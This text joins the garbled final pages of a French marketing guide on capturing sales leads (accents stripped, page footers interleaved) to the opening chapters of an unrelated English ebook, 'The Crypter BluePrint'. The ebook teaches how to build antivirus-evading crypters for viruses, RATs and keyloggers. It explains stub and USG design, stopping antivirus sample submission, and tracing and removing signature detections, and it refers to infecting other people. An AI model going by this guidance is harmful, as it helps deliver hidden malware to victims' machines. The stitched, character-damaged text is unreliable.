Cest vrai pour des sites de tlchargement, mais aussi pour les sites de diagnostic en ligne.
A lextrme vous pouvez faire exprs davoir un dlais de traitement de quelques secondes
pour afficher votre publicit.

51 Mettre une home page avec uniquement une


incitation tlcharger des produits

Page 86

Les 112 Secrets des As de la Vente- version 1.0

Le principe est de mettre en home page votre page de vente, avec vos produits gratuits et
payants.

52 Proposer un code Promo au lieu dun produit ou


dun bonus
Pour tre plus incitatif, le but est de proposer un code promo qui sera affich dans la Hello Bar
de votre blog :

Page 87

Les 112 Secrets des As de la Vente- version 1.0

Page 88

Les 112 Secrets des As de la Vente- version 1.0

En Conclusion

Nous voici la fin du guide !


Jespre que vous avez trouv des astuces qui vont vous aider obtenir plus de prospects avec
votre blog ou votre site internet.
Vous avez pu le lire, capture plus de prospects, cest certes des techniques et des outils, mais
cest surtout apprendre se mettre la place de son prospect et lui apporter plus de valeur pour
le convaincre de vous faire confiance.
Maintenant cest vous de jouer et mettre en application ces conseils 3,2,1 GO !

Important : si vous avez apprci ce guide, je ne vous demande quune seule chose en retour
Que vous en parliez autour de vous ! Dune part vous allez sans doute pourvoir aider vos contacts,
mais en plus vous allez nous aider continuer offrir des guides GRATUITS comme celui-ci.
Donc, prenez juste 30 secondes pour parler de ce guide sur Twitter, Facebook, votre blog

Merci davance !
Frederic CANEVET ConseilsMarketing.com

Page 89

Les 112 Secrets des As de la Vente- version 1.0

En savoir plus sur


http://prospectionbooster.fr

Page 90

Les 112 Secrets des As de la Vente- version 1.0

Dveloppez votre business sur Internet

Vous voulez apprendre attirer des prospects, devenir un expert reconnu dans votre secteur,
dvelopper des revenus complmentaires?
Nous vous proposons notre formation Vido "Boostez votre Business, Bloguez comme un Pro"
avec plus de 45 heures de formation en vido et un support de cours de 300 pages.
Voici le programme dtaill de la Formation:
Module 1 : Avant de lancer son blog
- Objectifs et positionnement du Blog
- Les Alertes et la veille concurrentielle sur son secteur
- Analyser la concurrence
- Russir sa Page Propos

Module 2a : Installation du Blog sous Wordpress


- Choisir la plateforme, son hbergement et son nom de domaine
- Achat du nom de domaine et tlchargement Wordpress
- Cration de la base de donnes Wordpress et paramtrage
- Installation du blog Wordpress sur serveur
- Paramtrages et rglages du Blog

Module 2b : Design du blog et plugins


- Larchitecture dun blog et les bases du design
- Crer et personnaliser la Favicon
- Installer un thme
- Modifier et personnaliser son thme
- Ajouter un logo et des lments dans le thme
- Ajouter les plugins Facebook, Twitter, Aweber, RSS...
- Cration dun thme de blog avec
- Cration dune landing page et dune newsletter
Page 91

Les 112 Secrets des As de la Vente- version 1.0

- Les plugins indispensables pour un Blog Wordpress


- Installer des Plugins automatiquement et manuellement
- Administrer la base MySQL et Scuriser son blog
- Comment crer un article
- Rfrencement On Page

Module 3 : Produire du contenu succs !


- Trouver des ides d'articles pour son blog
- Nos mthodes pour rdiger facile des articles succs
- Les diffrents types d'articles pour un Blog
- Ajouter du multimdia dans son blog : Les vidos virales
- Ajouter du multimdia dans son blog : Podcast, Screencast et infographies
- Se crer une communaut

Module 4 : Techniques de promotion basiques


- Promotion Basique : Blogs, Forums et Guest Posts
- La Republication darticles

Module 5 : Techniques de promotion avances


- Newsletter, eMailing et Autorpondeurs
- Facebook
- Twitter
- Les rseaux sociaux pro : Viadeo et LinkedIn
- Les publicits laffichage
- Les communiqus de presse
- Jeux, concours, quizz et tudes
- Le rfrencement Off-page

Module 6 : Montiser et rentabiliser son Blog


- Mthodes de montisation basique : Adsense, Affiliation
- Mthodes de montisation avance : vente de produits, sponsoring
- Gnrer des prospects cibls
- Les statistiques suivre

Module 7 : Devenir un blog rfrence dans son domaine


- Devenir un blog autorit
- Calendrier du blogueur
- Implications et Risques juridiques lis au blogging
- E-rputation
- Etendre son Influence au del de son secteur d'activit
- Optimiser son blog

Les Bonus - Les 30 rgles dOr du Blogueur


- Les 15 erreurs ne pas commettre
Page 92

Les 112 Secrets des As de la Vente- version 1.0

- Le Don d'ubiquit du Blogueur Pro


- La Check List du Blogueur Pro

Vous voulez en savoir plus ?


Vous avez 2 extraits gratuits de 50 minutes visibles directement sur
http://www.formation-blogueur.fr

Page 93

Les 112 Secrets des As de la Vente- version 1.0

En savoir plus
Depuis 2006, ConseilsMarketing.com cest tous les jours les meilleurs conseils pour trouver des
prospects et fidliser ses clients.
Le rseau ConseilsMarketing.com se compose principalement des sites :
- www.ConseilsMarketing.com : le blog Marketing
- www.Entreprise-Marketing.fr : les meilleurs articles sur le Marketing
- www.Jobs-MKG.com : site doffres demplois en Marketing
- www.DevenirPlusEfficace.com : dveloppement personnel.
Mentions lgales
- Responsable de la publication et Webmaster : Frederic CANEVET
- Email : Fred@ConseilsMarketing.fr
- SIRET : 512 747 080 00012

Informations lgales:

Les images jointes ce document sont issues des blogs des vainqueurs des Golden Blog Awards Si une image de ce document vous
appartenait, veuillez envoyer un email fred@conseilsmarketing.fr afin que je la retire dans les plus brefs dlais du document original et du
site internet.
Les marques cites dans ce document restent entirement la proprit de leurs dtenteurs, si vous souhaitez les retirer, envoyez une simple
demande par email fred@conseilsmarketing.fr.
Ce guide et ces conseils n'engagent que Frdric Canevet, ils sont issus de son exprience personnelle. C'est pourquoi ni Frederic Canevet, ni
conseilsmarketing.fr ne pourront tre tenu responsable des ventuelles consquences de la mise en pratique de des conseils et astuces que
cela soit titre personnel ou professionnel.
Les textes contenus dans ce guide et ainsi que leur diffusion est totalement libre: vous pouvez diffuser ce livre PDF, reprendre tout ou partie
des articles condition de mentionner l'auteur (Frederic Canevet) et le site d'origine via un lien vers http://www.conseilsmarketing.fr/. Par
contre l'utilisation des images contenues dans ce guide et leur modification est strictement interdite (voir le paragraphe sur le copyright des
images et photos).

Page 94

The Crypter BluePrint


The Most in Depth blueprint of Everything you wanted to know about Crypters

How to Create Your own FUD Crypter [The Right Way]


...In Less Than a Week

Brought to you by,


http://crypters.net
Version 1.00
July, 2010
Limits of Liability & Disclaimer of Warranty
I AM NOT AN ATTORNEY.
DO NOT USE THE FOLLOWING TEXT UNLESS YOU
HAVE YOUR OWN ATTORNEY REVIEW IT FIRST.

The author and publisher of this ebook and the associated materials have used
their best efforts in preparing this material. The author and publisher make no
representations or warranties with respect to the accuracy, applicability, fitness,
or completeness of the contents of this material. They disclaim any warranties
expressed or implied, merchantability, or fitness for any particular purpose. The
author and publisher shall in no event be held liable for any loss or other
damages, including but not limited to special, incidental, consequential, or other
damages. If you have any doubts about anything, the advice of a competent
professional should be sought.
This material contains elements protected under International and Federal
Copywright laws and treaties. Any unauthorized reprint or use of this material is
prohibited.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

About the Author


Little bit about me: My name is Shawn
and im 17 ..at the time of writing this.
Things i like to do are, playing guitar,
surfing, hangin with friends, and of course..
chilling alot on the alienware laptop :)
Everyone starts out somewhere.. and
me..? well theres nothing special about my
story.. I am no greater than any of you. I
just had alot of interest and desire with
many things related to hacking. So i read and read, searched and searched, for a
very long time.. The only thing that probably makes me different, is that i also
have a desire to help others in the situations i was once in.
jk that was a lie... but i do think im good at putting myself in others
situations..helping them.. then making money off it XD
funny thing is.. after i ended up creating a successful Crypter i started losing
interest in hacking itself.. and ended up doing nothing but some ethical hacking.
I dont even use crypters myself anymore :).
You can reach me at http://crypters.net

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Table of Contents (only roughly accurate lol)


About the Author
Table of Contents (only roughly accurate lol)
Introduction
What you can expect From This Ebook
Whats covered in this ebook?
Chapter 1 - What Really Is A Crypter? Core Fundamentals
Whats the difference between a Runtime and Scantime Crypter?
How do i know which antiviruses detect my file?
Types and forms of Crypters
Chapter 2 - The most important factors you should know about Crypters
Chapter 3 - Vb6 and Crypters
Chapter 4 - Programming and Vb6 Fundamentals
This section is intended for all these people and if you can code and you think you
wont benefit from it, you can either just scim through it or just read it all and refresh
your memory..
Chapter 5 - vb6 Crypter Techniques BluePrint
Finding and pinpointing Whats causing detection
Chapter 6 - The Universal Undetection Process
Changing the order of all code aspects.
String manipulation
Changing and encrypting strings/apis
Resources

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Introduction
First i just want to give major credits to all the links to threads used in this ebook.
Massive credits to all the forum members that made them, thank you.

What you can expect from This EBook


I would just like to mention that if you even have the slightest interest in Crypters
and making your own, you are in the right place. You will be provided with the
most informative, in depth blueprint on Crypters ever put into one package
before.
I am going to be real and remind you to be aware of whats required from you to
get the most out of this ebook. There is no magic buttons.. no magic pills..
Especially when programming, you have to put effort and take action on what
you learn in order to succeed.
Whats covered in this eBook?
This ebook will consist of all the aspects that will get you on a flawless track for
creating your own FUD Crypter ..or anything FUD to be honest.., this way you will
gain a huge advantage. I will be giving my 100% into this ebook so all i ask from
you is to never be discouraged from the looks of anything and put your 100%.
the layout of this ebook is constructed as follows,
the first half is pretty much aimed toward the beginner level to intermediate
and the second half is aimed toward the intermediate to advanced.
just to remind you to not exagerate and be unrealistic, I will be teaching you all of
what you need to know about Crypters and making them, getting you up to the
right point, but once your at that point, you have to be aware that your set on
your own.. thats life. But I do have to say, It is truly an awesome and thrilling
experience..
So lets get started

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Chapter 1 - What Really Is A Crypter? Core Fundamentals


Ok before we get into the good stuff, lets first clear up all your desperate..
desperate questions you been having by really getting into all the
fundamentals of Crypters. Oh and if you have any questions of anything
throughout this ebook, always refer and search on http://Hackforums.net
for answers
If you dont already know.. A Crypter is usually used to encrypt files like
viruses, rats, and keyloggers usually for the sole purpose of bypassing
antivirus detection.
Whats the difference between Crypter and a Packer?
A Crypter Encrypts your files and a Packer packs your files usually with
the intention of making it smaller in size and sometimes for scantime
undetection.
Whats the difference between a Runtime and Scantime
Crypter?
Both can look exactly the same so you better watch out..
A Runtime Crypter encrypts the specified file and when executed (ran), it
is decrypted in memory. This way antiviruses arent able to analyse the
file before executed and after executed.
A scantime Crypter encrypts the specified file so antiviruses arent able to
analyse the file only before executed but NOT when executed.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

How do i know which antiviruses detect my file?


There are many sites with this same purpose of scanning files and giving a
report of which antiviruses detect your files. The main issue leading
to crypters becoming detected is because if you or someone who is in
posession of your crypted file, scans it on some of these scanner sites, the
crypted file will be distributed to the antivirus vendors, thus causing the
crypted code overwritten on your file to become detected, which in turn
causes your crypter to turn out detected.
It is recommended to scan all files you crypt on
http://scanner.novirusthanks.org while making sure the do not
distribute sample checkbox is checked!

What is EOF and what is it used for?


EOF stands for End
Of File. Some files like
Bifrost, Medusa, and
Cybergate require the
end of file data in
order to run without
corruption, So If
Crypters Dont
Preserve this end of
file data, your crypted
file will become
corrupt.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

What is a USG?
A USG is part of a
crypter that generates a
unique version of the
stub (stub is part of
crypter used to encrypt
and decrypt the
specified file). The
purpose of this is
because FUD crypters
dont last forever, eventually crypters become
detected over a period of time. You will understand
this better later on in the ebook. (The USG is to the
right and above it is the Crypter)(But this is
probably one of the most advanced USGs you
will find, some can be very simple)

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

What is a File Binder?


A File Binder is pretty self explanetory.. It binds or puts to files together as one
so as a result when someone opens this one file, 2 files will execute. You would
usually use a file binder when being even more stealth then just simply a crypted
file.
The biggest question people have when first learning what a binder is and what it
does is, can you bind a .exe with something different? like a .jpg for example? The
answer is Yes, BUT.. the output of both binded files will be shown as .exe, so in a
way it can defeat the purpose.

What are antis on Crypters?


Antis are an extra feature that come with some Crypters. For example anti-vm,
anti-debugger, anti-avira...etc these refer to bypassing or preventing something
specified, so anti-debugger meaning it will prevent it from being debugged.

What is a file pumper?


A File Pumper will pump your file - refering to adding more bytes to it making
your file larger. The benefit of this is usually not so great but it can be ok to have
and may lose a detection or 2.

Types and forms of Crypters


Crypters can range in many types and forms and it is important to understand
these types and forms because it will help you choose a quality crypter to solve
your needs or help you realize what options and features you would want to
implement in your own Crypter.
Here are some simple and advanced crypters to give you a good idea, or picture
in your head.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Simple GUI (graphical interface) Crypters

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Heres to give you an idea of some Advanced GUI Crypters

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Chapter 2 - The most important factors you should know


As im sure many of you know.. finding Crypters and Crypters themselves can be
a huge pain. I know when i first started out, i hated the fact that i just couldnt find
a FREE FUD CRYPTER anywhere. I got so pissed.. but didnt give up just yet, i
kept on searching and reading a diverse range of forums.
Overtime, once i learned enough about them i realized the actual undetection vs
antivirus concept. This is the eye opener point which you will all eventually end
up and at this point you will then realize why..

The Antivirus vs Crypter Concept


Have you ever wondered how all the viruss, rats, and bots..etc become detected
by antiviruses?
..im sure you have.. and this concept will give you all the answers.
Antiviruses can be alot more complext then you would imagine, so learning the
ways they are notified of malicious files and how they detect are essential for
bypassing them.
Ok there are 2 ways antiviruses are notified of malicious files and eventually flag
your file as detected,
1. the first one is
From online file scanner sites where people upload files they think might be
suspicious looking, and want to know if its actually a virus or not. They upload
there files to one of these sites to check which antiviruses detect it and flag it as
a virus. Once the files are uploaded, based on certain elements they are then
distributed to the antivirus vendors labs. On some online scanners there is an
option available for you to check for no distribution. I am not aware if this actually
does what we all think because i heard they will still distribute, but with a price to
the av vendors. Even though this may be true or false, it is still always a good
idea to scan on these sites that have this option available, for example
http://scanner.novirusthanks.org
Here are some multi antivirus scanners
http://scanner.novirusthanks.org
http://virustotal.org

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

www.virustotal.com/
And there is also individual antivirus scanners, for example:
http://www.kaspersky.com/scanforvirus
http://www.bitdefender.com/scanner/online/free.html

2. The Second factor is


From the antiviruses themselves. You may be thinking.. oh really? yes.. and to
tell you the sad truth.. hardly anyone even knows about this, Its sad isnt it? this
is essential information that everyone must know when using or making Crypters.
most of the time, the antivirus will automatically send the files out when any
certain file becomes detected. Antivirus also owners have the option to send off a
file to the vendor with a click of a button through there desktop antivirus.

What can you do about this?


well you can change the settings on your antivirus. The setting usually come in
slightly different forms, sometimes you are also asked during setup, and
sometimes you just have to go into the settings or options manually, for

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

example:

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

All of what you just read is essential to keep in mind when making an FUD
Crypter. The sole reason behind why public Crypters always become detected
..and usually fast, is because the majority of people do not know the antivirus vs
Crypter concept.. therefore they either blindly upload there crypted files to one of
the scanner sites that distribute
also.. the antiviruses themselves are uploading there crypted files without them
even noticing. Even people who make there own Crypters arent aware of this
which is why they are always wondering why there crypted files always become
detected so fast.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Chapter 3 - Vb6 and Crypters


Now we are going to dive into how Crypters work, and.. how they are MADE. You
will be shown the actual steps of the exact code used to create Your own
Crypter.
i found these pics and info on HF somewhere ..so credits to that dude.. And if it
seems a little too complicated, dont worry, as long as you get the basic idea.
What do anti-viruses look for in a file?
First off, you will need some basic understanding of how anti-viruses actually
work.
Exe files are simply lines of instruction, and each line is called an offset.
(This is a screenshot of Hex Workshop)

Anti-viruss have databases of these lines that are known to be associated with
malicious files. They use that database to check against your file to see if it
matches. If it does, then it is marked as infected. They do use other methods
of detection, but this is the one you will learn how to avoid.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

What will the program need to do?

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Your crypter is going to take the contents of an infected file, encrypt them,
and place it at the bottom of a seemingly virus-free file called your stub.
Your stub file will then extract the encrypted data from itself, decrypt it, then
extract and run it. So just imagine if this stub file that is joined together with
the cryped infected file is detected? well.. then all the files you crypt will also
show up as detected since this stub is used with all the crypted files. This may
sound like a complicated and confusing process, but it isnt and i will explain
more about it later on.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Heres another pic i found, (credits to hackhound) this explains all this in a
slightly different way, maybe you will understand it better:

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Chapter 4 - Programming and Vb6 Fundamentals


Ok now.. your either one of 3 people..
someone who has no idea how to make/code a program
someone who knows and can code a program
someone who can code but not in visual basic 6
This section is intended for all these people and if you can code and you think
you wont benefit from it, you can either just scim through it or just read it all and
refresh your memory..
First we must download Visual Basic 6 of course.
If you arent aware of what torrents are and how to download them, then follow
step 1 if you do know about torrents and already have torrent downloading
software go to step 2
1. download and install u torrent here http://www.utorrent.com/
2. now we must download the vb6 torrent here
http://btjunkie.org/search?q=visual+basic+6 (just download the first one or
something)
3. it should then open with utorrent, and just press ok to download.
now to get a quick picture of the interface in vb6 and understand how most of it
works, (you can just scroll down to the pictures on this site)
http://www.profsr.com/vb/vbless01.htm

Intro to programming with vb6


You must be aware that in order to make your own FUD Crypter, you must
atleast know the basics of programming, so if you dont, this is a very important
section to read, so read through it all and if theres something you dont
understand i encourage you to do some google searching about it or read
around/ask through this forum http://www.vbforums.com/forumdisplay.php?f=1
Without getting so in depth and complicated, i am going to first have you learn
the basic concepts of programming in order for you to just understand enough to
be able to first understand the most essential parts of what a program is doing so
you will be able to understand other sources when you read them and modify
them. You most likely will have questions that i will not be able to answer, so if
your unsure about some of these basic concepts, search vb6 tutorial or visual
basic tutorials on http://youtube.com ..this way always seems to be best because

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

seems people learn drastically easier to from video. If you have a more specific
question or issue, search google.
Ok so, from searching for a long time, i came to the conclusion that this site
teaches vb6 in the best most understandable/appealing way
http://www.vbtutor.net/vbtutor.html
just go through the table of contents and please try to go up until, not higher then,
lesson 18 and ignore all the ads on the sides and in between. You dont have to
go through all of them at once, or in the same day even. I would encourage you
to just refer back to the lessons at any given time and consistently, but slowly
moving forward each day. And remember.. to get more clarification or understand
more of it, always search youtube and google.

Basic Vb6 Outline for Creating a Crypter


Crypters in Vb6 consist of two parts:
the Crypter Client which is the actual user interface that the user uses for
specifying the file to encrypt, the settings...etc
The Stub file, which is part of the Crypter but it is not used by the user, it is
simply just there, in the same directory as the crypter client, because it is being
used by it.
So programming a Crypter comes in these 2 parts and are made seperately in 2
different projects. They only interact with each other when compiled into finished
.exes.
You might be wondering,
well what project gets detected so i will know which to modify?
The Stub project is only what you have to always undetect and... re-undetect
when the crypted files become detected BECAUSE the stub file is what is
actually injected into all the crypted output files. So common sense being.. when
eventually, for example someone that you infected runs the crypted file and
maybe uploads it to virustotal (which distributes) or the antivirus itself distributes,
the crypted file has your stub code in it aswell as the crypted malicious code..
therefore the antivirus will then detect and put signatures causing the stub code
to become detected. Basically this stub code is injected into all crypted files so
obviously all the crypted files will then also become detected since it caries these
detected signatures.
Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Here is example crypter/stub projects in its simplest form that you can learn from,
there are comments explaining each part throughout the code
http://crypters.net/example-source.rar
just scim through it and try and get an idea of the different parts and what there
for, get familiar with it, if you dont fully understand it, its fine for now.
The best way for you to learn is by showing you a diverse set of tutorials, so
throughout this ebook, i will keep linking you different tuts. Heres one of the best
tutorials on how to make a simple Crypter from HF (hackforums.net if you arent
already a member, go sign up)
http://www.hackforums.net/showthread.php?tid=204038
With this you might get some more understanding of how it all fits together in a
different way and Remember, by knowing how it all works together, the more
easier it will be to undetect the code
One of the biggest issues that I should address are compatibility with different
OSs. Basically what affects the compatibility of certain OSs for example
32bit/64bit win7, xpN is almost always the RunPE module that you are using.
What I would do is really read up on the source im using and test it out first
before I go ahead and modify it.
The way i learned how to make crypters and different methods of undetecting
them is from constantly reading and modifying every Crypter i got my hands on. I
encourage you to do the same and just start searching and browsing through the
coding/vb sections on,
http://hackforums.net
http://hackhound.org
http://www.opensc.ws/forum.php

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Chapter 5 - vb6 Crypter Techniques BluePrint


Since Vb6 is the most popular programming language, the only disadvantage is
that it is harder to undetect the code. With this disadvantage, we have to keep a
few things in mind before creating a Crypter
vb6 and undetection - what to do and what not to do
When Making a Crypter, first always keep in mind to have the project placed
directly in the C:/ location on your drive because if it is for example in your
documents folder like (C:/user/john/crypter/stub) this whole string of text will be
shown and easily read by antiviruses and cause your crypted files to become
detected or provide an easy target for antiviruses to develop a signiture for. Now
this is only one factor to keep in mind but it is definitely something you should
know.
Ok now that you have your whole Crypter/stub projects on your C:/ drive, Lets
open up the project and do some of the main essential tasks for preventing
antiviruses from detecting these sources.
Changing Assembly information
First we are going to change the compilation settings for the .exe, like the file
version, description...etc These files settings are one of the first things antiviruses
check and is something you should always do when picking up and modifying
new sources without even thinking about it.. just make this a habit
Open the Stub Project and Right click in the project space on the top right and
click project Properties

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Once your there, you should see few options like project name, startup object, if
you want to change any of that then do it. So now go into the next tab called
Make.
Here you should see the version info, title of application, icon, and in the middle
you will see version Information with comments, version, company name, file
description..etc
All these options should be changed to anything random.. especially when
starting from someone elses source.

The Antivirus Signatures concept


Whats going to be explained here, you should always keep in mind when
undetecting, Read every bit of this section, some things you may know already
but there are definitely things you do not know which are very important.
To my experience there are 2 types of signatures, which i like to call..
Specific Signatures
Broad Signatures
Throughout making FUD Crypters you will come to realize that overtime all
crypters, private or public, will eventually become detected. Now the reason for
this is because not only do the people you spread the crypted files to have
antiviruses that automatically distribute..etc but also, antiviruses in cases where
they get alot of similar files distributed, try to create signatures for the most
unique parts of the code that all these malicious files have in common.
Now what i mean by that is for example Avira antivirus will detect a certain set of
apis thats being used in a certain variation of ways, corresponding to, and
interacting with, other certain parts of code. This is a broad type of signature,
unlike specific signatures that just detect a certain string of text in a certain part
of the code, this broad signature will then cause all the crypters using this api
related to this situation to become DETECTED.
This is the very disadvantage of programming in the most popular languages
where crypters are most popular to program with.
So now if you think about it, a stub can also only go so far in being unique
because antiviruses are always updating and populated their databases with not
only specific signitures but, these broad signitures which eventually overtime will
cause your crypter to become detected... no matter how unique your stub is, a
part of this code in relation to broad signitures will become detected. even if you
Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

do nothing with it. Now it may be more unlikely depending on how unique, but
the point is that ..even if your doing nothing with your stub and never crypt files,
eventually it will become detected, all will.
So to clarify, The fact that from all the other Crypters being distributed that for
example that use a specific method of execution using a specific api which has
slight relation to how your Crypter was made, will cause your crypter to also
become detected.
Now with all this in mind, i want to make sure your not getting the impression that
all vb6 crypters suck and they will all get detected easily.. because this is not
completely true. As long as you use the right techniques and have your own
unique and creative way of doing things, the longer the Crypter will last.. and just
to let you know, when a crypted file is distributed, its not like it will become
detected right away.. It takes about a week to a few weeks for a signature to
made on the file and updated into the database.
So a point i want to also get across while you understand this concept is that,
The most honest true approach you will learn in this ebook, is the fact that no
matter what undetection technique or method you use, there is no one technique
that will last forever, they all eventually become detected, which means that
theres no garantee for giving you a technique to easily just copy and paste to
make your fud crypter and live happily ever after, that would be a lie..
What This Ebook will give you, is a layout of the universal, proven
techniques that you can keep in mind so you can learn how they work, improve
upon them, and make variations of them to successfully make your own FUD
Crypters.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Finding and pinpointing Whats causing detection


To accomplish the process of finding and pinpointing detection it is required that
you understand the different parts of code and know what most of it does
because you will be literally taking apart the code when finding the cause of
detection.
I find that alot of people try undetecting there sources blindly by just throwing a
whole series of undetection methods at the code.. This is fine if your first starting
out from scratch on a fully Detected source.. but when there are only a few
antiviruss detecting the source, you must start finding exactly whats causing
detection. This will save you tons of heart ache and make the whole undetection
process a whole lot easier.
Aright This is where all the learning happens, you will realize and learn alot of
how what code certain antiviruss will detect. You will then be able to easily
mitigate certain antiviruss and find that some antiviruss are easier then others to
undetect from. You will then not only have a good set of knowledge from
experience of finding what causes detections for certain avs, but you will also
easily gain a set of skills and new and improved techniques that build upon the
previous ones for undetecting against certain avs.
Finding whats causing detection can be very easy or somewhat difficult
depending on if its a broad signature or a specific signature. The majority of the
time they will be specific signatures. I will be giving you an example of both.
Basically you will be pulling apart your code deleting them one by one, then
drilling down further deleting more specific, smaller bits of code until you end up
at whats exactly causing detection. When going through this process it can seem
like its time consuming but its actually not if you have the specific antivirus which
is detecting your file downlaoded and installed on your system so you can
instantly scan each compiled stub with certain bits taken out. A specific signature
detection in this example will be a small string in the RunPE module
So we will be taking apart the code and to do this, there are a few steps involved
1.The first logical step to take would be to first check if the detection is caused
somewhere in the first start of the program execution so delete everything in the
sub main() ..then compile the stub and scan it. no detection found so we move on
and put the code back.
2. delete all the code in each module one after another until the detection doesnt
come up anymore. We then find out once we take out the runpe module the
detection goes away.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

3. Now that we know the detection is coming from the RunPE module, we will put
the code back and drill down by first deleting each sub and function in the
module. We then find out the detection is coming from the CallAPIbyname
function
4. Now that we know which function is detected, we will then drill down further by
deleting each line of code. (depending on the size of the func, just delete each
segment and drill down from there, you can do the same for the modules, for
example you can delete the first half and second half of the function first)
5. Then once you found the string in the function thats causing detection the
whole undetection process comes into play. You can basically just recode the
portion of code thats causing detection in a very different or even slightly
different way and combine this what you will learn in the next chapter, or simply
only use whats in the next chapter alone.
Broad Signatures
For detecting broad signatures, its pretty much the same process, The only
difference is that you have to be aware of a few more things throughout the
process.
I will show you some examples of a broad signature in this situation,
Lets say the RtlMoveMemory api is causing detection. Now if we are taking
apart the code using the process i just showed, you will realize that the detection
is coming from the module but you wouldnt realize what is being detected inside
the module by doing the standard, remove each sub/func at a time. The reason
for this is that this api is used in multiple places throughout the module.
Sometimes you will even come across situations where variations of the same
piece of code is used throughout the module.

Also here is another technique you can use as a last resort


http://www.hackforums.net/showthread.php?tid=33874

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Chapter 6 - The Universal Undetection Process


Like I mentioned earlier,
The most honest true approach you will learn in this ebook, is the fact that no
matter what undetection technique or method you use, there is no one technique
that will last forever, which means that theres no guarantee for giving you a
technique to easily just copy and paste to make your fud crypter and live happily
ever after, that would be a lie..
What This Ebook will give you, is a layout of the universal, proven
techniques that you can keep in mind so you can learn how they work, improve
upon them, and make variations of them to successfully make your own FUD
Crypters.
Ok so basically lets say you found a certain specific or broad portion of your code
thats causing detection, THIS is when the whole undetection process comes into
play.
So you have some options at this point depending on if youre a beginner or
experienced programmer.
(More programming knowledge and how crypters are made will give you a huge
advantage when undetecting code)
So you can either just recode the portion of code thats causing detection in a
very different or even slightly different way and combine this with the examples I
am about to show you
or you can only use the examples alone, using your own variations, of course,
and extensive amounts of them. Sometimes though, you will eventually realize
that no matter what undetection techniques and how much you use them based,
you have to actually end up recoding, or using a different variation of that same
code which do the same overall task, And this is very simple for someone who
has well rounded programming knowledge so this is why I say, you will have a
big advantage if you do too.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

There are some vb6 crypter sources in the crypter sources section on this
page http://crypters.net/crypter-sources/
So pick which source you want to modify for the purposes of learning how
to use the techinques i will show you for undetection.
To some people, modifying another source and making it undetected, that
you didnt make from scratch yourself, means your a fake or a skid..
Now when undetecting, alot of effort and work usually has to be done.. so
why make it harder on yourself when theres already sources out there all
doing the same thing just in different forms..? Why Reinvent the Wheel??
In alot of cases, to undetect and keep your Crypter undetected, you have
to change around code, replace code, add code... to the point where
making the Crypter from scratch is almost the same thing..
Some people have different way of doing things and have their reasons..
but from what im teaching for learning purposes and for beginners, you
will start by reading other sources and modifying them,
then eventually you can just code a very sophisticated one from scratch
someday in the future.
So again.. my point is, for now especially there is no need to reinvent the
wheel..

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

Heres the basic outline of the whole universal undetection


process summed up in the most brief way

Adding junk code for modifying execution flow and various other reasons
Changing the order of all code aspects.
Changing variable names
String manipulation.
Change Assembly information
Add or change icon

The list goes can go on and on if you want to get specific and no specific
technique lasts forever, so The main thing to remember is to be very
creative and to try many.. MANY variations of ideas and techniques that
you think may confuse/distract/deceive antiviruses. Some antiviruses will
be deceived and bypassed easily with one technique even.. and another av
can be alot harder, so you would have to use variations of all these
techniques. This will definitely require dedication and effort, but can be
easy with a good set of techniques and practice. It all comes down to
experience and learning from it. I will be giving you and showing you
many examples that fall into the category of each of these methods so you
will get a perfect idea of how it all works so you can then use and improve
upon them with your own.
I will also be getting into automation tools that can do alot of these
undetection techniques for you instead of manually, but it is very
important that you understand how it all works manually because
eventually you will have to manually apply them.

Copyright 2005-20010 Xinfiltrate Crypters.net All Rights Reserved.

http://

About Unique Stubs and USGs


Ok so you know how a USG comes with some Crypters right? Well these USGs
also known as stub generators, generate unique versions of the stub for that
Crypter. How all of these USGs generate unique stubs are from using all these
methods of undetection but in a click of a button.
How?
A set of techniques and methods are implemented into the USG using variations
of the same undetection method/techinque by randomizing the strings, variables,
and the order within these undetection techniques (like variations of junk code).
Also giving the user the ability to choose specific undetection options/methods to
use thus creating a unique version of the stub, This way, when someones stub
becomes detected there is a high chance another persons stub, using the same
Crypter, wont get detected. Since the majority of the stub might have a different
variation and layout of the code from all the undetection options/methods used
in the usg, there is a high chance the signiture that causes the other stub to be
detected will not be shown, or in the same place in this other unique version of it
because it might be 90% different. So basically USGs ultimately give an
advantage for how long the stub will last undetected.
If you dont fully understand this, its fine because you will better understand it
once you actually start learning and applying these actual methods and
techniques.
lets start with..
Adding junk code
Ok heres pretty much all the types of junk code:

junk subs/functions
fake calls
fake variables
junk strings of text
